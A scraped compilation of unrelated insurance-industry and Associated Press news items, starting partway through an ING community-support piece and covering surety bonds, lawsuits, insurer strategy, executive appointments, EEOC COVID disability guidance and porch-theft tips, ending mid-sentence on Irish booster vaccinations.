Elena); financial capabilities (getting out of problematic debt); and social enterprises (local entrepreneurs creating products and services that help people). The projects described here are highlights of the 20 programmes in 12 countries that ING is currently supporting under this new approach. Getting out of problematic debt In Poland, ING supports the Think! Foundation, which educates people about financial literacy and managing household budgets especially about adapting to changes related to the Covid-19 pandemic. Thats necessary in a country where research shows that the average citizen has limited savings, 54% of adults are repaying loans, and 48% expect their financial situation to worsen during the pandemic, adopting a here and now strategy over planning for the future. This all only reassured us that Poles need personal finance knowledge to ensure financial immunity to the challenges of uncertain times we live in, said Klaudia Borys, INGs Sustainability and CSR expert in Poland. Were convinced we should provide them with opportunities to learn in simple and straightforward terms. The project involved online courses, including articles, webinars and human stories. ING colleagues joined the Think! Foundations experts in giving household budgeting advice and answering participants questions. The project raised the participants awareness and provided the skills necessary to ensure they know how to manage their household finances in the changing circumstances. About 1,100 people participated, with the content being shared with 1 million people through INGs local communication channels. Supporting social enterprises In Romania, ING is supporting Startarium, an online platform for starting entrepreneurs that was created by ING and then officially launched with help from the NGO Impact Hub in 2016. Startarium is now helping empower start-ups that are developing innovative solutions to societal challenges brought on by the pandemic. Part of that is helping charitable organisations switch their business models to entrepreneurial, so they can make a bigger impact. Were looking at supporting social ventures who aim high, said Alexandra Maier, responsible for sustainability for ING in Romania. Not just through the nature of the challenge, but the nature of the market, the scalability of the innovation and whether it connects enough to individuals. It should aim to impact 200,000 people. The aim is for the start-ups supported by Startarium to improve the lives of more than two million people by the end of 2022. Its good work is being recognised, as it was just awarded first place in the programmes category in Romanias biggest awards in the NGO (non-governmental organisation) sector. Global approach local impact Supporting local programmes that contribute to an inclusive economy where everybody has the opportunity and capability to participate is closely related to our brand and belief that everybody should have the freedom to do their thing. Its a global approach that will make local impact. All of ING is working together towards the same impact goal: to help three million people gain better access to the economy by 2025. People like Maria Elena from Italy. I always find myself thinking: technology is so fast-changing that I can get new inspiration every day, said Maria Elena. The more I acquire new skills, the more I want to learn. Our community support approach in a nutshell Aim: helping three million people gain better access to the economy by 2025. Focus on three areas related to financial health: future-proof employment, financial capabilities and social enterprises. Currently we support 20 programmes in 12 countries, with the aim to impact more than 1 million people, with more than 500 colleagues participating. Projects are submitted to ING global by ING country teams three times a year. Theyre selected by the global community investment board based on strict criteria. Related stories This post is part of a series sponsored by Old Republic Surety. As you build a book of bond business to better serve your commercial clients, youll be surprised to learn how many need to be licensed and bonded. While laws vary from state to state, nearly every business that renders services for payment is subject to bond requirements. Research the regulations in your state, and then share this informative article with your commercial clients. Teach them how simple bonds and licenses can boost their business. Most states require contractors to be licensed to obtain permits for projects. State and local jurisdictions may also require contractors to be bonded in order to get their license. These permit and license bonds and various miscellaneous bonds are known as commercial bonds and are written by surety companies. There are many types of commercial bonds, and state licensing boards usually have a list of bonding requirements on their website. Each jurisdictions requirements are a little different. An Old Republic Surety representative can provide information and answer any questions you have about bonding. Consumers often will inquire about a contractors license and bond. Its an easy way for a homeowner to check whether the electrician or plumber theyre hiring meets the regulations for their state. Being licensed and bonded demonstrates a contractor more likely has the necessary skills, training and continuing education required for their trade or profession. Consumers can also check to see what types of work the contractor is licensed for, when the license expires and whether any disciplinary action has been taken against the contractor. Licensing and bonding go hand in hand Being bonded not only indicates the contractor meets their licensing requirements, but some bonds also protect the owner if something goes wrong on the project. The bond guarantees that the contractor will complete the work they promised to do and will follow the rules for their trade. If the contractor defaults on their obligations, the owner can make a claim against the bond, typically through the state licensing board. Most license and permit bonds are fairly easy to obtain and can be quickly written by an agent. A freely written bond usually has a fixed premium, set coverage limits, and few, if any, underwriting requirements. For some bonds, especially those with higher limits, the surety company may look at the contractors credit score, financial statements and net worth to establish bond-ability. Pricing will depend on the type of bond, the level of risk in that trade or profession, the coverage limits and the term of the bond. A rule of thumb is that the premium will be .5% to 3% of the bond amount. Types of commercial bonds Virtually any occupation or business that accepts payment from a customer for services to be rendered may be subject to bond requirements. Here are some of the standard types of commercial bonds: License and permit bonds . These are the most common bonds written and, as weve discussed, are required by law to obtain a license or permit. The obligee is usually the government or the owner of a project. In addition to all types of contractors, money transmitters, mortgage brokers, auto dealers, reclamation companies and subdivision developers usually must be bonded. . These are the most common bonds written and, as weve discussed, are required by law to obtain a license or permit. The obligee is usually the government or the owner of a project. In addition to all types of contractors, money transmitters, mortgage brokers, auto dealers, reclamation companies and subdivision developers usually must be bonded. Miscellaneous bonds . These are bonds that arent tied directly to a trade or profession but are required to do business. They can be specific to an industry or type of business, or a fiduciary relationship. They may also require more underwriting. Examples include lost titles or securities, hazardous waste removal, nursing home care and labor union wage and welfare. . These are bonds that arent tied directly to a trade or profession but are required to do business. They can be specific to an industry or type of business, or a fiduciary relationship. They may also require more underwriting. Examples include lost titles or securities, hazardous waste removal, nursing home care and labor union wage and welfare. Court bonds . There are numerous bonds that arise out of judicial proceedings and must be posted by those seeking legal remedies or defending lawsuits. Attachment, appeal, mechanics lien and bail bonds are probably the most well-known. . There are numerous bonds that arise out of judicial proceedings and must be posted by those seeking legal remedies or defending lawsuits. Attachment, appeal, mechanics lien and bail bonds are probably the most well-known. Business services bonds . Sometimes referred to as third-party fidelity, these bonds protect businesses that have employees who are on the premises of a customer. If the employee is convicted of stealing from the customer, these bonds will pay for the loss. . Sometimes referred to as third-party fidelity, these bonds protect businesses that have employees who are on the premises of a customer. If the employee is convicted of stealing from the customer, these bonds will pay for the loss. Fidelity bonds. These bonds are designed to protect an insured business against employee dishonesty, theft, and embezzlement. Higher-limit bonds and contract bonds In some jurisdictions, general contractors and larger specialty contractors will need higher-limit bonds, which provide greater protection to the obligee. These are sometimes sold in tiers of coverage up to unlimited amounts. Many contractors will also need to secure a contract bond if they are bidding on a job that is bonded. They most likely will need a bid bond and then a performance bond if they are selected for the project. These bonds are written for specific projects and may require extensive prequalification and underwriting. Requiring contractors to be licensed and bonded is an important form of protection for the public. It helps to ensure that consumers are working with reputable, trustworthy professionals with ties to the community, and it may provide recourse should something go wrong. If youre an agent, make sure your clients understand their licensing requirements and are properly bonded. Your local Old Republic Surety branch can get you started. Topics Commercial Lines Contractors Maine utility regulators will investigate allegations raised in a lawsuit against the parent company of Central Maine Power. The investigation by the Maine Public Utilities Commission will focus on whether Avangrids expenditures are being passed on to CMP customers, or could be in the future. The lawsuit brought by a cybersecurity expert late last month accused Avangrid Networks Inc. and Avangrid Inc. of rigging bids, racketeering and buying unnecessary equipment so it could charge higher electricity rates and increase its profits. Avangrid denied the allegations, described the plaintiff as a disgruntled employee and filed a defamation lawsuit. The announcement by the PUC on Monday, first reported by the Portland Press Herald, comes after a bipartisan group of legislators called on the PUC to launch an immediate investigation. The developments come after permits were suspended for CMPs $1 billion power line in western Maine and some legislators seek to replace the privately owned company with a consumer-owned utility. Copyright 2022 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed. Topics Lawsuits Claims Maine The estate of a Black man who died in custody at a Vermont prison is suing, alleging racism and negligence. The lawsuit, reported by VTDigger, was filed this week in Washington County Superior Court, alleging that the Vermont Department of Corrections and its agents negligently failed to diagnose and treat a tumor that led to Kenneth Johnsons December 2019 death by asphyxiation at the Northern State Correctional Facility in Newport. The wrongful death and medical malpractice lawsuit further alleges that the department and its then-medical contractor, Virginia-based Centurion Health, discriminated against Johnson, 60, due to his race. Rachel Feldman, a spokesperson for the corrections department, said in a statement to VTDigger that the department is committed to the humane and equal treatment of all individuals in our care. The department had no comment on the specifics of the suit, she said. Centurion officials did not reply to an email message seeking comment. A report released by a law firm in November found that DOC staff should have done more to help Johnson, who complained repeatedly that he could not breathe, and their response was insufficient to keep him from dying from a breathing obstruction caused by a tumor. It also said the department should train staff in implicit bias, while noting that it was impossible to determine if racial bias played a role in Johnsons death. The department had asked the firm Downs Rachlin Martin to investigate the death of Johnson. A separate personnel review is being done by the state. In July, the Vermont defender generals office released a report that said staff at the Newport prison ignored Johnsons pleas that he could not breathe and threatened him instead of providing lifesaving care. Copyright 2022 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed. Topics Lawsuits Italys biggest insurer Generali said it would stick to bold earnings goals for 2024, hike dividends and launch its first buyback in 15 years as Chief Executive Philippe Donnets bid to stay on faces opposition from two billionaire investors. Donnets reappointment as CEO next year is opposed by construction magnate Francesco Gaetano Caltagirone and Leonardo Del Vecchio, founder of eyewear giant Luxottica, who want the insurer to be more ambitious in expanding via acquisitions. Generali to Focus on U.S., Asia in New Strategic Growth Plan: Report Italian Tycoons Challenge to Generali Hinges on Its Strategy for Asset Management The new strategy, which Donnet outlined in a news briefing on Wednesday, earmarks up to 3 billion euros ($3.4 billion) for mergers and acquisitions (M&A) in insurance and asset management. When the plan was put to a board vote, Caltagirone opposed it and a representative for Del Vecchio did not attend the meeting after saying they received details too late to study them properly, two sources close to the matter said. Overall, the plan won 11 out of 13 votes, the sources said. Donnet is backed by Mediobanca, Generalis biggest shareholder. Caltagirone and Del Vecchio are the second and third largest. The stock climbed 1% on Wednesday, as analysts gave the new strategy a thumbs up. M&A remains a tool to accelerate value creation for shareholders, Donnet, 61, told a the briefing, saying Europe and Asia would be targets for insurance and asset management, and the United States and Britain just for asset management. In addition to the buyback over the next 12 months, Generali aims to pay up to 5.6 billion euros in dividends in the next three years, up from 4.5 billion euros in the previous three years. It said it aimed for average earnings per share growth of 6%-8% a year. Positively Surprised New targets for earnings per share growth, cash and dividends are all more ambitious than we had expected, Kepler Cheuvreux said. Jefferies said the buyback and 6%-8% earnings per share target, which was just ahead of Allianz, positively surprised us. Caltagirone, who could not immediately be reached for comment, and Del Vecchio have a consultation pact giving them a combined 15.6% voting stake. They are set to propose a new CEO candidate at a board meeting in April, sources close to the matter said. Mediobanca, which has a 13% holding, has borrowed shares to reach a 17% voting stake. In his previous M&A plan, Donnet had spent 85% of a 4 billion euro M&A war chest. He spent almost 1 billion euros buying rival Italian insurer Cattolica. Under the strategy outlined on Wednesday, the Trieste-based insurer also said it would increase digital investments by 60% versus 2021 to a cumulated 1.1 billion euros by 2024. The company aimed to boost premiums in non-motor property and casualty by more than 4% a year on average in 2021-2024, it said, adding that it targeted small businesses and senior care in Europe and travel insurance in the United States. ($1 = 0.8879 euros) (Reporting by Gianluca Semeraro; editing by Valentina Za and Edmund Blair) Topics Profit Loss Talent Generali Life Assurance (Thailand) Plc. Abu Dhabi Investment Authority has acquired a stake in Ardonagh Group in a transaction valuing the U.K. insurance broker at $7.5 billion. The sovereign fund joined as a new investor in Ardonagh alongside several other large global institutions, Ardonagh said in a statement Wednesday, confirming an earlier Bloomberg News report. The investment was led by existing Ardonagh backers Madison Dearborn Partners and HPS Investment Partners, according to the statement. ADIA has bought about 8% of Ardonagh, according to people familiar with the matter. Around 600 Ardonagh staff are selling some of their shareholdings to ADIA as part of the deal, the people said, asking not to be identified discussing confidential information. Founded in 2017, Ardonagh operates as an independent insurance broker with four units international, specialty, advisory and retail. The company employs more than 8,000 people in over 100 locations, according to its website. Its recently been growing through acquisitions, while also exploring options for its retail unit. Earlier this month, it hired UK business veteran Andrew Higginson as chairman of its retail insurance business. The appointment of Higginson, who helped engineer this years sale of British grocer Wm Morrison Supermarkets Plc, is an indication the retail business may be a contender for an initial public offering. Copyright 2022 Bloomberg. Topics Mergers Agencies This edition of International People Moves details appointments at Allianz Global Corporate & Specialty, Aons Reinsurance Solutions team and Arrow Risk Management. A summary of these new hires follows here. AGCS Promotes Williams to CUO Corporate, Succeeding Buckle Allianz Global Corporate & Specialty SE (AGCS) has appointed Shanil Williams as new chief underwriting officer Corporate. In this role, he will join the AGCS SE board of management with effect on Jan. 1, 2022, subject to regulatory approval. Currently global head of Financial Lines at AGCS, Williams will succeed Tony Buckle who will be leaving Allianz for personal reasons. As new chief underwriting officer Corporate, Williams will oversee AGCSs global underwriting business in the corporate lines segment such as property, liability, financial lines and alternative risk transfer, as well as the Allianz Group Cyber Center of Competence. In addition, he will lead Allianz Risk Consulting and key internal underwriting functions such as Accumulation & Catastrophe Risk Management, and Portfolio Performance Management. The board oversight of the Energy & Construction line of business as well as of the Global Pricing team will move to the chief underwriting officer Specialty, creating additional responsibilities for AGCS Chief Underwriting Officer Specialty and Board Member Renate Strasser. In his current role as global head of Financial Lines, Williams has led the remediation of the portfolio in challenging market conditions, notably in the directors & officers and cyber insurance classes. The turnaround has been underpinned with improvements in pricing tools, active portfolio steering capabilities and reinsurance purchasing to dampen volatility and improve sustainability of results. With this, AGCS has been able to pivot to a profitable growth strategy in financial lines during 2021, targeting new business opportunities across all regions supported by a significant expansion of its underwriting resources. Williams (41) joined AGCS in 2016 as country manager for New Zealand. In 2018, he relocated to Munich to take on the role as global head of Commercial for Financial Lines before assuming the global leadership of full financial lines team at AGCS in 2019. Prior to joining Allianz, Williams spent 14 years with AIG, and held a number of increasingly senior financial lines regional leadership roles in Auckland, Johannesburg, Paris and London. A New Zealand national, Williams graduated in Business and Finance at the University of Canterbury. I would like to thank Tony for his high personal commitment and contribution to the successful realignment of our corporate lines portfolio. On behalf of the AGCS board of management, I wish him all the best for his future, professionally and personally, commented AGCS CEO Joachim Mueller. At the same time, I welcome Shanil as a new member to the AGCS board of management, as we focus increasingly on profitable growth and market opportunities, Mueller added. As one of our best internal talents in underwriting and a highly respected team leader of a large global underwriting unit, he is ready to make the next step in his career and assume wider responsibility for AGCSs underwriting performance and sustained business success. *** Aon Names Irl to U.S. Reinsurance Treaty Team Aon plc, a global professional services firm, announced the appointment of Ashley Irl to its Reinsurance Solutions U.S. Treaty team. Based in New York, Irl reports to Greggory Clark and Randy Stanco, who co-lead Aons New York/New Jersey Reinsurance Solutions office. In her new role, she is responsible for the structuring and placement of reinsurance for several types of clients including regional, global and MGAs as well as providing access to customized analytics and consulting services, such as catastrophe modeling, exposure management solutions and rating agency insights. Irl was previously a member of Aons U.S. Facultative Facilities team, where she placed facility programs that optimized the use of reinsurance capacity. During her career at Aon, she has also been part of the Market and Regulatory Knowledge team within Aon Analytics, providing pricing and peer metrics to reinsurance clients, and Aon Securities, as a member of the distribution team. *** Arrow Risk Management Appoints Gorman as Underwriting Practice Leader Arrow Risk Management, the London-based specialist MGA underwriting platform, has announced the appointment of Toby Gorman as underwriting practice leader Property Binders, with immediate effect. Gorman joins Arrow Risk to lead the companys first underwriting practice. In this role, he will be responsible for developing and managing a portfolio of North American property binder business with a focus on residential properties and small commercial entities. Gorman has over 35 years of specialist experience in North American delegated underwriting. Most recently he was unit head of the North American delegated binding authority business at AXIS Capital, having joined the company in 2017, following its acquisition of Novae Group, where he led the U.S. property facilities. During his career he has also held underwriting roles at GLR Syndicate and GW Price Syndicate. Topics USA Reinsurance Aon Global specialty insurer SiriusPoint said it is investing in LuckyTruck Corp., a digital broker and aggregator specializing in commercial trucking insurance. The two did not disclose the investment amount. LuckyTruck vows to make the purchase of insurance for trucking fleets more customized and convenient. Its streamlined process lets fleet managers complete their insurance transactions online in minutes. LuckyTruck hopes to expand its operations across the U.S., and initiate new partnerships to build out its digital distribution platform. SiriusPoint said its partnership with LuckyTruck will generate insights and understanding into the small commercial trucking segment, and create opportunities for the companies to develop new insurance products in the space. Devin Bostick, CEO and founder of LuckyTruck, said commercial trucking is undergoing a fundamental shift. Theres a heavy infusion of capital in this area, that translates to a vibrant and growing logistics ecosystem, he said. Hiscox Using RMS Location Technology to Tailor Real-Time Quotes Specialty insurer Hiscox is working with RMS, the catastrophe risk company, to expand its use of RMS Location Intelligence API technology to provide real-time tailored insurance quotes. RMS Location Intelligence provides modeling data with high-resolution, location-level hazard, risk, and loss metrics. The firms say the use of an application programming interface (API) to integrate RMS data directly into Hiscox systems allows real-time responses to coverholders. RMS Location Intelligence also provides a live view of Hiscoxs bound portfolio enabling active management of risk aggregation and opportunities for dynamic pricing. Paul Butler, technology director, Hiscox, said that since working with RMS Location Intelligence API, his companys FloodPlus book has doubled year on year and is now generating in the region of 20,000 quotes per week. Jason Futers, managing director at RMS, said many carriers are now moving to live quoting of delegated business so that they can precisely tailor pricing to their view of risk and build a better book of business. Being able to provide coverholders with real-time, fully automated quotes is a gamechanger that is driving increases to the quote-to-bind ratios, and improvements in the quality and quantity of underwritten policies, he said. Cybersecurity Startup ActZero Offers Measured Analytics and Insurance Coverage ActZero, a cybersecurity startup whose AI-driven platform makes security accessible for businesses of all sizes, is adding cyber insurance to its offerings in a partnership with Measured Analytics and Insurance, a data and analytics-driven cyber insurance company. ActZero and Measured aim to holistically address businesses cybersecurity needs by combining managed detection and response services designed to stop attacks and extortion with insurance services that position companies to mitigate potential losses. The ActZero platform combines antivirus protection, endpoint detection and response, extended detection and response technologies, and 24/7 automated and managed threat hunting capabilities. Measured Analytics and Insurance, a licensed producer, sells comprehensive cyber insurance backed by the reinsurance companies. Measured uses proprietary data and machine learning algorithms to assess and price cyber insurance for small- and mid-sized businesses. Its standalone cyber insurance product, CyberGuard, backed by Lloyds syndicates, is targeted at businesses with up to $500 million in revenue, and is available in all 50 states Topics Cyber InsurTech Tech The legal wrangling between USA Gymnastics and the hundreds of victims of sexual abuse by former national team doctor Larry Nassar, among others, is over after a $380 million settlement was reached. The fight for substantive change within the sports national governing body is just beginning. A federal bankruptcy court in Indianapolis on Monday approved the agreement between USA Gymnastics and the U.S. Olympic and Paralympic Committee and the more than 500 victims, ending one aspect of the fallout of the largest sexual abuse scandal in the history of the U.S. Olympic movement. Over 90% of the victims voted in favor of the tentative settlement reached in September. That agreement called for $425 million in damages, but a modified settlement of $380 million was conditionally approved by the court. More than 300 victims were abused by Nassar, with the remaining victims abused by individuals affiliated with USA Gymnastics in some capacity. The financial reckoning is just one part of the equation. A series of nonmonetary provisions will make the victims stakeholders at USA Gymnastics going forward. The provisions include a dedicated seat on the organizations Safe Sport Committee, Athlete Health and Wellness Council and board of directors, as well as a thorough look at the culture and practices within USA Gymnastics that allowed abusers like Nassar to run unchecked for years. Individually and collectively, survivors have stepped forward with bravery to advocate for enduring change in this sport, USA Gymnastics president Li Li Leung said in a statement after the settlement was approved. We are committed to working with them, and with the entire gymnastics community, to ensure that we continue to prioritize the safety, health and wellness of our athletes and community above all else. Hundreds of girls and women have said Nassar sexually abused them under the guise of medical treatment when he worked for Michigan State University, USA Gymnastics, which trains Olympians, and a Michigan gym thats a USA Gymnastics member. He pleaded guilty in federal court to child pornography crimes before pleading guilty in state court to sexually assaulting female gymnasts. He was sentenced in 2018 to 40 to 175 years in prison. Rachael Denhollander, who in the fall of 2016 was the first woman to come forward to detail sexual abuse at the hands of Nassar, said the provisions were a pivotal part of the mediation process. Its not about money, its about change, Denhollander told The Associated Press in a phone interview. Its about an accurate assessment of what went wrong so that it is safer for the next generation. Denhollander has been one of the most outspoken Nassar victims from the outset of the scandal. She said it was important to move past the legal proceedings so women can move forward with their lives and get the help they need. The frank reality is the longer this goes on, the more difficult it is for survivors, she said. So many of these women, they cant access medical care without a settlement. We had to balance that reality with the length of time it was taking. We felt it was in the best interest of everyone to accept this settlement so that survivors would receive some semblance of justice. Denhollander pointed out some of the medical care required is not covered by certain types of insurance. The settlement will ease part of the financial burden. The settlement comes nearly four years after an emotional sentencing hearing in Michigan in which hundreds of women detailed their experiences with Nassar and the toll it took on their lives. USOPC CEO Sarah Hirshland said the organization which is paying $34 million of its own money and $73 million more from insurers toward the settlement recognizes its role in failing to protect these athletes, and we are sorry for the profound hurt they have endured. Denhollander described the five-plus years from when she first approached reporters at The Indianapolis Star to Monday as hellish. Its been hellish for all of us, she said. To have to push for so long for the right things to take place, to have to push for so long to have justice happen it should have never taken five years. USA Gymnastics filed for bankruptcy in December 2018 in an effort to consolidate the various lawsuits filed against it. The move also forced the USOPC to halt the decertification process it began against USA Gymnastics. The organization has undergone a massive leadership overhaul in the interim and revamped its health and safety policies. The settlement will allow it to continue as the sports national governing body, though Denhollander stressed that USA Gymnastics has not gone far enough, which is why the involvement of the victims going forward is so significant. We need to see for ourselves what reform is taking place, she said. The ability to do that provides a level of accountability that hasnt been in place up until now. Copyright 2022 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed. Topics USA Abuse Molestation An applicant or employee whose COVID-19 results in mild symptoms that resolve in a few weekswith no other consequenceswill not have a disability that could make someone eligible to receive a reasonable accommodation, according to the Equal Employment Opportunity Commission (EEOC). That guidance from the federal agency comes in its updated COVID-19 technical assistance, with a new section clarifying under what circumstances COVID-19 may be considered a disability under the Americans with Disabilities Act (ADA) and the Rehabilitation Act. EEOCs new questions and answers focus broadly on COVID-19 and the definition of disability under Title I of the ADA and Section 501 of the Rehabilitation Act, which both address employment discrimination. The updates also provide examples illustrating how an individual diagnosed with COVID-19 or a post-COVID condition could be considered to have a disability under the laws. The EEOC advises that applicants or employees with disabilities are not automatically entitled to reasonable accommodations under the ADA. They are entitled to a reasonable accommodation when their disability requires it, and the accommodation is not an undue hardship for the employer. But employers can choose to do more than the ADA requires, the EEOC states. In addition to those clarifications, the EEOC update notes: In some cases, an applicants or employees COVID-19 may cause impairments that are themselves disabilities under the ADA, regardless of whether the initial case of COVID-19 itself constituted an actual disability. An employer risks violating the ADA if it relies on myths, fears, or stereotypes about a condition and prevents an employees return to work once the employee is no longer infectious and, therefore, medically able to return without posing a direct threat to others. This update to our COVID-19 information provides an additional resource for employees and employers facing the varied manifestations of COVID-19, commented EEOC Chair Charlotte A. Burrows. Like effects from other diseases, effects from COVID-19 can lead to a disability protected under the laws the EEOC enforces. Workers with disabilities stemming from COVID-19 are protected from employment discrimination and may be eligible for reasonable accommodations. Employment Practices Insurance in Age of COVID, Vaccines, Shutdowns and Hard Market The prospect of many people suffering long-term COVID-19 symptoms has raised concerns. The Department of Health and Human Services has issued guidance that people struggling with long-haul COVID are protected by the ADA and employers may have to provide reasonable accommodations to allow them to continue working. Insurers are watching. About 10% of people who contracted COVID-19 continue to suffer persistent symptoms months later, according to a report released by the National Council on Compensation Insurance. The report, written by Paradigm Chief Medical Officer Dr. Michael Choo, says COVID long-haulers are anxious and irritable. They cant sleep, break out in rashes, suffer blurry vision and chest pain and are constantly thirsty. Researchers have identified 21 symptoms that have persisted as long as nine months after the initial infection. Choos report for NCCI, citing published studies, says that 81% of people who contracted COVID-19 suffered only mild symptoms or were asymptomatic, with only 5% suffering severe symptoms. Of the people who had severe symptoms, 76% had at least one symptom six months later, the most common being fatigue, muscle weakness, and sleep difficulties. However, Choo reported that another study found that 10% of all people who contracted COVID-19 suffered symptoms more than three weeks later. Report Sounds Alarm Over Workers With Long-Term COVID-19 Symptoms The National Institutes ascribed a new term for the syndrome post-acute sequelae of severe acute respiratory syndrome-coronavirus 2, or PASC. Researchers have identified several symptom groups that impact the cardiovascular system, pulmonary, endocrine and auto immune systems, as well as mood disorders and sleep disorders. The report says PASC symptoms usually diminish in three to six months, but sometimes last as long as nine months. The frustrating reality is that the constellation of symptoms experienced by those with PASC for extended periods of time can significantly delay their ability to return to work and/or their prior level of function and impair quality of life, the report says. Dr. Claire Pomeroy, an infectious disease expert and president of the Lasker Foundation, has also warned about long-term COVID, writing in Scientific American that the nation should be prepared for a tsunami of disability caused by long-COVID. EEOC Lawsuits In September the EEOC filed its first lawsuit about a request for an ADA accommodation related to COVID-19. The agency alleged that ISS Facility Services, Inc., a Georgia workplace experience and facility management company, unlawfully denied its employees reasonable request for an accommodation for her disability and then fired her for requesting it, According to the EEOCs suit, Ronisha Moncrief worked for ISS as a health and safety manager at ISS, where from March 2020 through June 2020, ISS required all of its employees to work remotely four days per week due to the COVID-19 pandemic. In June 2020, when the facility re-opened, Moncrief requested an accommodation to work remotely two days per week and take frequent breaks while working onsite due to her pulmonary condition that causes her to have difficulty breathing and placed her at a greater risk of contracting COVID-19. Although the company allowed other employees in Moncriefs position to work from home, it denied Moncriefs request and, shortly thereafter, fired her. The EEOC has also taken action in two cases where COVID employees had pre-existing disabilities that could be exacerbated by exposure to COVID-19. The EEOC filed two lawsuits in Texas courts, alleging that a pharmacy in Fabens and a coffeehouse in Fort Worth both discriminated against employees with disabilities that rendered them vulnerable to serious illness if they contracted COVID-19. The two employers took different approaches to the virus, but both ran afoul of the ADA, according to the EEOC. The EEOCs suit against the pharmacy alleges it discriminated against a pharmacy technician with asthma who asked to wear a facemask at work as an accommodation of his disability immediately following the COVID-19 outbreak to help protect him from the virus. The employee was harassed because he requested this accommodation and was sent home twice when he asked to wear a mask, and then taunted and humiliated for questioning managements policy prohibiting masks, leading him to quit, according to the suit. EEOC filed suit in Fort Worth against 151 Coffee, alleging that the company violated the ADA by denying reasonable accommodation to two baristas with disabilities and terminating their employment. According to the EEOCs complaint, the employees were not allowed to return to work until a vaccine for COVID-19 was developed, even though they were ready and willing to work. Topics COVID-19 Oklahoma Insurance Commissioner Glen Mulready is encouraging residents to take precautions against porch piracy as the winter holiday season nears. According to C + R Research, 230 million Americans will be shopping online this year, and 43% cite themselves as victims of package theft. In 2020, Oklahoma lawmakers passed the Porch Piracy Act, which enforcing stricter penalties against porch pirates including up to two years in prison or up to a $5,000 fine. Mulready suggests Oklahomans take these additional steps to prevent theft from occurring: Consider Shipping Insurance Shipping insurance is sold by postal services, courier companies and shipping insurance companies. Not all insurers will cover all goods. However, if youre ordering high-value items online, you may purchase shipping insurance to ensure delivery. Shipping insurance is sold by postal services, courier companies and shipping insurance companies. Not all insurers will cover all goods. However, if youre ordering high-value items online, you may purchase shipping insurance to ensure delivery. Give Specific Instructions Instead of having deliveries left unsecured at your front door, you can instruct drivers to leave a package at a back door, with a building superintendent, in a coded lockbox or with neighbors. You can also have deliveries placed on hold and request a specific delivery time. Most, but not all, of these services are free. Instead of having deliveries left unsecured at your front door, you can instruct drivers to leave a package at a back door, with a building superintendent, in a coded lockbox or with neighbors. You can also have deliveries placed on hold and request a specific delivery time. Most, but not all, of these services are free. Install Security Camera or Doorbell Camera Security cameras or video doorbells can also come in handy. The mere presence of these cameras or smart doorbells may be enough to ward off the potential package thieves. Even if it doesnt, youll at least have evidence for a police report. Bonus: installing these cameras may qualify you for a homeowners insurance discount. Security cameras or video doorbells can also come in handy. The mere presence of these cameras or smart doorbells may be enough to ward off the potential package thieves. Even if it doesnt, youll at least have evidence for a police report. Bonus: installing these cameras may qualify you for a homeowners insurance discount. Sign Up for Tracking Notifications Most carriers offer package tracking services and text or email alerts to know when a delivery will be made so that you can adjust your schedule accordingly. Sign up for text or email notifications to check your delivery status. If a package is stolen, Oklahomans are encouraged to do the following: Contact the Seller File a claim with the seller and ask for a replacement. File a claim with the seller and ask for a replacement. Contact the Shipping Company File a claim with the postal service that shipped your package. FedEx, UPS, USPS, DHL and Amazon have a claim-filing system to help you track down your package. File a claim with the postal service that shipped your package. FedEx, UPS, USPS, DHL and Amazon have a claim-filing system to help you track down your package. Check Your Credit Card Many credit cards have purchase protection covering lost or stolen items. Make sure you use a credit card to purchase the item. Many credit cards have purchase protection covering lost or stolen items. Make sure you use a credit card to purchase the item. File an Insurance Claim Your homeowners or renters insurance may cover mail theft. Remember that filing a claim only makes sense for high-value packages worth more than your policys deductible. Source: Oklahoma Insurance Department Topics Oklahoma A sheriff and a fired deputy in South Carolina are facing a second lawsuit over the officers conduct during an arrest. The lawsuit said ex-Kershaw County deputy Johnathan Goldsmith threw the man against a car and then on the ground after he was handcuffed and hit him until a state trooper at the scene broke up the confrontation in November 2019. The man was stopped at a traffic checkpoint when he was cuffed, according to the lawsuit obtained by WIS-TV. The man is also suing Kershaw County Sheriff Lee Boan saying he knew Goldsmith had problems before he was hired and didnt properly supervise the officer. Goldsmith was fired in November 2020 and arrested three months later after investigators said he repeatedly hit a man he was trying to arrest while he was on the ground, later shocking him, using pepper spray, and closing the patrol car door on his leg. The encounter was captured on Goldsmiths body camera, WIS-TV said. Goldsmith said he saw an empty holster in the mans car and feared he might have a gun. Goldsmith is charged with misconduct in office and second-degree assault. His lawyer didnt return messages from the TV station. Boan was also named in the first lawsuit. Copyright 2022 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed. Topics Lawsuits South Carolina A Utah firefighter who uses medical marijuana for chronic back pain has sued the city of Ogden, saying he was unlawfully suspended from duty for refusing to surrender his prescription card. Levi Coleman said in a November lawsuit the fire department and city discriminated against him in violation of the Utah Medical Cannabis Act, the Standard-Examiner reported. Coleman has been a firefighter and EMT with Ogden since 2011. He reported his use of the drug in August, under a new policy requiring employees to report prescriptions or over-the-counter medications that warn of possible impairment. He underwent a fit for duty evaluation, which he said did not include a drug test or a physical fitness test. The report nevertheless found the use of medical cannabis created potential impairment that could interfere with his performance, the suit states. He was then suspended without pay, tantamount to a firing. Fire and city officials declined Friday to comment directly on Colemans allegations. Mark Johnson, the citys chief administrative officer, said officials have general concerns about people who may be driving fire trucks or providing lifesaving care. We have some great concerns policy-wise with public safety individuals taking any form of controlled substances, Johnson said. So I think its a lot muddier than its being made out to be. Coleman said in the suit that other controlled substance prescriptions have not resulted in suspensions. The Standard-Examiner could not immediately reach his attorney. In the first report on the case, the Salt Lake Tribune reported that state law prohibits an entity from taking action against an employee, unless the person is impaired on the job. This firefighter is following state law. The employer is not, said Jack Tidrow, president of the Professional Firefighters of Utah told the Tribune. We just want to correct this as quick as we can. Copyright 2022 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed. Topics Lawsuits Cannabis If the 15-minute waiting time post-vaccine was eliminated, GPs could double the number of boosters they could administer in one day, according to the chair of the Irish Medical Organisations GP committee. Speaking this afternoon, Dr Dennis McCauley said that he agreed with the Governments booster campaign strategy which he described as proactive rather than reactive. He said GPs had agreed to be very engaged in the booster campaign with the aim of getting the third dose to as many people as possible in the next four weeks. GPs would be urging the public not to make non-urgent appointments for the next few weeks as the priority for GPs would be in rolling out the booster campaign, he said. Speaking on RTE Radios News at Onehe urged the public to "put a booster on your Christmas list. The best way you can protect yourself and the country is to get the booster vaccine, he said. Dr McCauley said that at the peak of the vaccination campaign last summer GPs had carried out 150,000 